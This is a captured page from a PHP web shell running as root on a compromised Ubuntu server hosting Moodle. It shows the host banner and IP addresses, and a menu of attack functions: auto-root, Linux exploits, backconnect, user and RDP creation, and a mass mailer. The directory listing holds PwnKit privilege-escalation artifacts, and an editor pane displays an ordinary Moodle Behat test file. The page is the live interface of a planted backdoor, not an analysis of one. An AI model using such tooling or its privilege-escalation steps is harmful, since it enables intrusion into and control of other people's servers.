Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
forum /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_forum.feature
1.84
KB
-rwxrwxrwx
add_forum_inline.feature
1.48
KB
-rwxrwxrwx
advanced_search.feature
5.7
KB
-rwxrwxrwx
behat_mod_forum.php
20.8
KB
-rwxrwxrwx
completion_condition_number_di...
2.19
KB
-rwxrwxrwx
discussion_display.feature
5.29
KB
-rwxrwxrwx
discussion_lock.feature
2.3
KB
-rwxrwxrwx
discussion_navigation.feature
5.99
KB
-rwxrwxrwx
discussion_subscriptions.featu...
20.39
KB
-rwxrwxrwx
edit_post_student.feature
2.25
KB
-rwxrwxrwx
edit_post_teacher.feature
2.81
KB
-rwxrwxrwx
edit_tags.feature
3.17
KB
-rwxrwxrwx
favourite_discussion.feature
2.42
KB
-rwxrwxrwx
forum_display_word_count.featu...
3.2
KB
-rwxrwxrwx
forum_export.feature
2.67
KB
-rwxrwxrwx
forum_subscriptions.feature
3.79
KB
-rwxrwxrwx
forum_subscriptions_availabili...
4.71
KB
-rwxrwxrwx
forum_subscriptions_default.fe...
5.66
KB
-rwxrwxrwx
forum_subscriptions_management...
2.15
KB
-rwxrwxrwx
grade_forum.feature
7.57
KB
-rwxrwxrwx
grade_view_discussion.feature
2.73
KB
-rwxrwxrwx
groups_in_course_no_groups_in_...
2.31
KB
-rwxrwxrwx
inpage_reply.feature
2.03
KB
-rwxrwxrwx
move_discussion.feature
1.52
KB
-rwxrwxrwx
my_forum_posts.feature
1.7
KB
-rwxrwxrwx
no_groups_in_course.feature
3.51
KB
-rwxrwxrwx
portfolio_export.feature
1.8
KB
-rwxrwxrwx
post_to_multiple_groups.featur...
4.52
KB
-rwxrwxrwx
posts_ordering_blog.feature
3.3
KB
-rwxrwxrwx
posts_ordering_general.feature
3.46
KB
-rwxrwxrwx
private_replies.feature
2.65
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
recent_activity.feature
6.82
KB
-rwxrwxrwx
separate_group_discussions.fea...
12.91
KB
-rwxrwxrwx
separate_group_single_group_di...
3.22
KB
-rwxrwxrwx
single_forum_discussion.featur...
1.74
KB
-rwxrwxrwx
split_forum_discussion.feature
2.48
KB
-rwxrwxrwx
timed_discussions.feature
2.08
KB
-rwxrwxrwx
track_read_posts.feature
8.06
KB
-rwxrwxrwx
visible_group_discussions.feat...
12.43
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : visible_group_discussions.feature
@mod @mod_forum Feature: Posting to all groups in a visible group discussion is restricted to users with access to all groups In order to post to all groups in a forum with visible groups As a teacher I need to have the accessallgroups capability Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | | student1 | Student | 1 | student1@example.com | | student2 | Student | 2 | student2@example.com | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | | student1 | C1 | student | | student2 | C1 | student | And the following "groups" exist: | name | course | idnumber | | Group A | C1 | G1 | | Group B | C1 | G2 | | Group C | C1 | G3 | And the following "group members" exist: | user | group | | teacher1 | G1 | | teacher1 | G2 | | student1 | G1 | | student2 | G1 | | student2 | G2 | And the following "activities" exist: | activity | name | course | idnumber | groupmode | | forum | Standard forum name | C1 | groups | 2 | And the following "mod_forum > discussions" exist: | forum | name | subject | message | group | | groups | Initial Disc ALL | Initial Disc ALL | Disc ALL content | All participants | | groups | Initial Disc G1 | Initial Disc G1 | Disc G1 content | G1 | | groups | Initial Disc G2 | Initial Disc G2 | Disc G2 content | G2 | | groups | Initial Disc G3 | Initial Disc G3 | Disc G3 content | G3 | Scenario: Teacher with accessallgroups can view all groups When I am on the "Standard forum name" "forum activity" page logged in as teacher1 Then the "Visible groups" select box should contain "All participants" And the "Visible groups" select box should contain "Group A" And the "Visible groups" select box should contain "Group B" And the "Visible groups" select box should contain "Group C" And I select "All participants" from the "Visible groups" singleselect And I should see "Initial Disc ALL" And I should see "Initial Disc G1" And I should see "Initial Disc G2" And I should see "Initial Disc G2" And I select "Group A" from the "Visible groups" singleselect And I should see "Initial Disc ALL" And I should see "Initial Disc G1" But I should not see "Initial Disc G2" And I should not see "Initial Disc G3" And I select "Group B" from the "Visible groups" singleselect And I should see "Initial Disc ALL" And I should see "Initial Disc G2" But I should not see "Initial Disc G1" And I should not see "Initial Disc G3" Scenario: Teacher with accessallgroups can select any group when posting Given I am on the "Standard forum name" "forum activity" page logged in as teacher1 When I click on "Add a new discussion topic" "link" And I click on "Advanced" "button" Then the "Group" select box should contain "All participants" And the "Group" select box should contain "Group A" And the "Group" select box should contain "Group B" And the "Group" select box should contain "Group C" And I should see "Post a copy to all groups" Scenario: Teacher with accessallgroups can post in groups they are a member of Given I am on the "Standard forum name" "forum activity" page logged in as teacher1 And I select "Group A" from the "Visible groups" singleselect When I click on "Add a new discussion topic" "link" And I click on "Advanced" "button" Then I should see "Post a copy to all groups" And I set the following fields to these values: | Subject | Teacher 1 -> Group B | | Message | Teacher 1 -> Group B | # Change the group in the post form. | Group | Group B | And I press "Post to forum" And I wait to be redirected # We should be redirected to the group that we selected when posting. And the field "Visible groups" matches value "Group B" And I should see "Group B" in the "Teacher 1 -> Group B" "table_row" And I should not see "Group A" in the "Teacher 1 -> Group B" "table_row" And I should not see "Group C" in the "Teacher 1 -> Group B" "table_row" # It should also be displayed under All participants And I select "All participants" from the "Visible groups" singleselect And I should see "Group B" in the "Teacher 1 -> Group B" "table_row" And I should not see "Group A" in the "Teacher 1 -> Group B" "table_row" And I should not see "Group C" in the "Teacher 1 -> Group B" "table_row" # It should not be displayed in Groups A, or C. And I select "Group A" from the "Visible groups" singleselect And I should not see "Teacher 1 -> Group B" And I select "Group C" from the "Visible groups" singleselect And I should not see "Teacher 1 -> Group B" Scenario: Teacher with accessallgroups can post in groups they are not a member of Given I am on the "Standard forum name" "forum activity" page logged in as teacher1 And I select "Group A" from the "Visible groups" singleselect When I click on "Add a new discussion topic" "link" And I click on "Advanced" "button" Then I should see "Post a copy to all groups" And I set the following fields to these values: | Subject | Teacher 1 -> Group C | | Message | Teacher 1 -> Group C | | Group | Group C | And I press "Post to forum" And I wait to be redirected # We should be redirected to the group that we selected when posting. And the field "Visible groups" matches value "Group C" # We redirect to the group posted in automatically. And I should see "Group C" in the "Teacher 1 -> Group C" "table_row" And I should not see "Group A" in the "Teacher 1 -> Group C" "table_row" And I should not see "Group B" in the "Teacher 1 -> Group C" "table_row" # It should also be displayed under All participants And I select "All participants" from the "Visible groups" singleselect And I should see "Group C" in the "Teacher 1 -> Group C" "table_row" And I should not see "Group A" in the "Teacher 1 -> Group C" "table_row" And I should not see "Group B" in the "Teacher 1 -> Group C" "table_row" # It should not be displayed in Groups A, or B. And I select "Group A" from the "Visible groups" singleselect And I should not see "Teacher 1 -> Group C" And I select "Group B" from the "Visible groups" singleselect And I should not see "Teacher 1 -> Group C" Scenario: Teacher with accessallgroups can post to all groups Given I am on the "Standard forum name" "forum activity" page logged in as teacher1 When I click on "Add a new discussion topic" "link" And I click on "Advanced" "button" And I set the following fields to these values: | Subject | Teacher 1 -> Post to all | | Message | Teacher 1 -> Post to all | | Post a copy to all groups | 1 | And I press "Post to forum" And I wait to be redirected # Posting to all groups means that we should be redirected to the page we started from. And the field "Visible groups" matches value "All participants" And I select "Group A" from the "Visible groups" singleselect Then I should see "Group A" in the "Teacher 1 -> Post to all" "table_row" And I should not see "Group B" in the "Teacher 1 -> Post to all" "table_row" And I should not see "Group C" in the "Teacher 1 -> Post to all" "table_row" And I select "Group B" from the "Visible groups" singleselect And I should see "Group B" in the "Teacher 1 -> Post to all" "table_row" And I should not see "Group A" in the "Teacher 1 -> Post to all" "table_row" And I should not see "Group C" in the "Teacher 1 -> Post to all" "table_row" And I select "Group C" from the "Visible groups" singleselect And I should see "Group C" in the "Teacher 1 -> Post to all" "table_row" And I should not see "Group A" in the "Teacher 1 -> Post to all" "table_row" And I should not see "Group B" in the "Teacher 1 -> Post to all" "table_row" # No point testing the "All participants". Scenario: Students can view all groups When I am on the "Standard forum name" "forum activity" page logged in as student1 Then the "Visible groups" select box should contain "All participants" And the "Visible groups" select box should contain "Group A" And the "Visible groups" select box should contain "Group B" And the "Visible groups" select box should contain "Group C" And I select "All participants" from the "Visible groups" singleselect And I should see "Initial Disc ALL" And I should see "Initial Disc G1" And I should see "Initial Disc G2" And I should see "Initial Disc G2" And I select "Group A" from the "Visible groups" singleselect And I should see "Initial Disc ALL" And I should see "Initial Disc G1" But I should not see "Initial Disc G2" And I should not see "Initial Disc G3" And I select "Group B" from the "Visible groups" singleselect And I should see "Initial Disc ALL" And I should see "Initial Disc G2" But I should not see "Initial Disc G1" And I should not see "Initial Disc G3" Scenario: Students in one group can only post in their group When I am on the "Standard forum name" "forum activity" page logged in as student1 Then I should see "Group A" And I click on "Add a new discussion topic" "link" And I click on "Advanced" "button" And I should see "Group A" And I should not see "Group B" And I should not see "Group C" And I should not see "Post a copy to all groups" And I set the following fields to these values: | Subject | Student -> B | | Message | Student -> B | And I press "Post to forum" And I wait to be redirected And I should see "Group A" in the "Student -> B" "table_row" And I should not see "Group B" in the "Student -> B" "table_row" Scenario: Students in multiple group can post in all of their group individually When I am on the "Standard forum name" "forum activity" page logged in as student2 And I select "Group A" from the "Visible groups" singleselect And I click on "Add a new discussion topic" "link" And I click on "Advanced" "button" And the "Group" select box should not contain "All participants" And the "Group" select box should contain "Group A" And the "Group" select box should contain "Group B" And the "Group" select box should not contain "Group C" And I should not see "Post a copy to all groups" And I set the following fields to these values: | Subject | Student -> B | | Message | Student -> B | | Group | Group B | And I press "Post to forum" And I wait to be redirected # We should be redirected to the group that we selected when posting. And the field "Visible groups" matches value "Group B" And I should see "Group B" in the "Student -> B" "table_row" And I should not see "Group A" in the "Student -> B" "table_row" And I select "Group A" from the "Visible groups" singleselect And I should not see "Student -> B" # Now try posting in Group A (starting at Group B) And I select "Group B" from the "Visible groups" singleselect And I click on "Add a new discussion topic" "link" And I click on "Advanced" "button" And the "Group" select box should not contain "All participants" And the "Group" select box should contain "Group A" And the "Group" select box should contain "Group B" And the "Group" select box should not contain "Group C" And I should not see "Post a copy to all groups" And I set the following fields to these values: | Subject | Student -> A | | Message | Student -> A | | Group | Group A | And I press "Post to forum" And I wait to be redirected # We should be redirected to the group that we selected when posting. And the field "Visible groups" matches value "Group A" And I should see "Group A" in the "Student -> A" "table_row" And I should not see "Group B" in the "Student -> A" "table_row" And I select "Group B" from the "Visible groups" singleselect And I should not see "Student -> A"
Close